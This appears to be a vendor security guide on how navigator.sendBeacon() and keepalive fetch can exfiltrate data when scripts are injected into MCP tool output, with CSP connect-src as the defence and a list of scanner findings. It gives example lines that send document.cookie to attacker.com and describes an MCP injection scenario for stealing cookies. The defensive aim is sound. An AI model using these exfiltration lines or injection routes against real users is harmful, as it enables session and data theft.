Security Guide

MCP server Beacon API security — navigator.sendBeacon(), uninterruptible exfiltration, CORS simple-request bypass, keepalive fetch, and CSP connect-src

navigator.sendBeacon() was designed for analytics ping-back on page unload — a way to fire a small HTTP POST without blocking navigation. For MCP servers, it is an exfiltration primitive: a script injected into tool output that calls sendBeacon() transmits data to the attacker's server asynchronously, cannot be intercepted by AbortController, is not cancelled when the page navigates away, and survives tab closure. Unlike fetch() or XMLHttpRequest, there is no response to inspect, no error callback to catch, and the send is queued immediately without waiting for any user interaction. CSP connect-src is the only runtime enforcement lever.

What sendBeacon() does that fetch() does not

navigator.sendBeacon(url, data) queues a small HTTP POST to the given URL and returns a boolean indicating whether the browser accepted the queue entry. The browser delivers the request asynchronously — even after the page's JavaScript context is destroyed by navigation or tab close. This "fire and forget after page death" behavior is the intentional design for analytics beacons, but it creates a fundamentally different threat model from ordinary HTTP requests in MCP tool output:

Propertyfetch()navigator.sendBeacon()
CancellableYes — AbortController.abort()No — no cancellation mechanism
Survives navigationNo — request aborted on navigation (unless keepalive: true)Yes — request survives page unload
Survives tab closeNo — unless keepalive: true, and subject to 64KB limitYes — browser delivers queued beacons
Response accessibleYes — full response body and headersNo — response is discarded, script cannot read it
CORS preflightFor non-simple requestsOnly if Content-Type is not simple (not text/plain, form-urlencoded, multipart)
Max payload sizeUnlimited~64 KB browser-enforced limit

MCP attack scenario: An MCP tool returns a web page's content. That content includes a script that calls navigator.sendBeacon('https://attacker.com/collect', JSON.stringify(document.cookie)). Even if the MCP client immediately navigates away from the page rendering the tool output, the beacon is already queued in the browser and will be delivered. The attack completes after the victim has already moved on.

CORS and the simple-request exemption

Beacon requests with a text/plain body (the default when passing a string), application/x-www-form-urlencoded, or multipart/form-data are CORS simple requests — they require no CORS preflight. The browser sends the POST directly without first asking the server whether the cross-origin request is allowed. This means that even if the attacker's server does not send Access-Control-Allow-Origin, the browser still fires the request; the server receives the data. The CORS check only governs whether the response is readable by the requesting script — and sendBeacon() discards the response anyway.

// CORS simple request — no preflight, no response readable — but POST arrives at attacker server
navigator.sendBeacon('https://attacker.com/exfil', document.cookie);

// To trigger preflight (application/json Content-Type), use fetch() — sendBeacon() ignores Content-Type for simple requests
// and will always send text/plain if data is a string

keepalive fetch() — the same primitive with more control

The fetch(url, { keepalive: true }) option is the modern equivalent of sendBeacon() for scripts that need full response access or request configuration. Like sendBeacon(), keepalive fetch requests survive page unload and tab close — they are queued at the browser level and delivered even after the JavaScript context is destroyed. The 64 KB payload limit applies equally, shared across all in-flight keepalive requests from the same browsing context. The CORS rules apply normally to keepalive fetch (non-simple requests trigger preflight), which makes it slightly harder to use for exfiltration without a cooperating server than sendBeacon() with a plain string payload.

// Keepalive fetch — survives navigation, but can trigger CORS preflight
fetch('https://attacker.com/exfil', {
  method: 'POST',
  keepalive: true,
  body: document.cookie,          // text/plain — no preflight
  // If body were JSON, preflight would fire first
});

CSP connect-src — the enforcement lever

Both navigator.sendBeacon() and fetch() are governed by the CSP connect-src directive. If the MCP client sets a Content Security Policy with a restrictive connect-src, the browser will block beacon calls to URLs not covered by the directive — even though the request would otherwise succeed silently.

# Restrictive connect-src — only allow connections back to same origin and known APIs
Content-Security-Policy: default-src 'self'; connect-src 'self' https://api.skillaudit.dev;

With this policy, any attempt to call navigator.sendBeacon('https://attacker.com/...', data) from injected tool output will be blocked by the browser's CSP engine and a violation will be logged (or reported to the Reporting API endpoint if configured). The request never leaves the browser.

connect-src is only effective if the MCP client's CSP is actually restrictive. A policy that uses connect-src * or default-src * provides no protection against sendBeacon() exfiltration. The CSP must explicitly list allowed connection targets. SkillAudit flags any connect-src * or missing connect-src directive as a HIGH severity finding because it removes the only runtime enforcement control over sendBeacon() and keepalive fetch.

Detection in static analysis

SkillAudit's static scanner looks for patterns indicating sendBeacon() call sites that may be reachable from tool output data:

SkillAudit findings for Beacon API

CRITICALMCP tool output rendering allows script execution, and tool output data flows into navigator.sendBeacon() or fetch(..., {keepalive: true}) without URL allowlisting. Injected scripts can exfiltrate session context to attacker-controlled endpoints that survive page navigation and tab close. Score −22.
HIGHCSP connect-src directive is absent or set to *. No runtime enforcement exists to block sendBeacon() or keepalive fetch to arbitrary external URLs. Score −18.
HIGHCSP connect-src includes https: without a domain restriction — allows connections to any HTTPS origin including attacker-controlled servers. Effectively equivalent to wildcard for sendBeacon() attack purposes. Score −16.
MEDIUMnavigator.sendBeacon() is called in tool output rendering code with a configurable endpoint URL — URL is not validated against an allowlist before the call, allowing arbitrary endpoint substitution via prompt injection into tool arguments. Score −12.
LOWconnect-src is present and restrictive, but does not include the report-uri or Reporting-Endpoints collector URL — CSP violation reports fail silently rather than reaching the monitoring pipeline. Score −4.

Run a SkillAudit scan on your MCP server to audit Beacon API exposure. The scanner checks whether tool output rendering allows script execution, audits CSP connect-src restrictiveness, and flags data flows from tool output into uncontrolled network request sinks.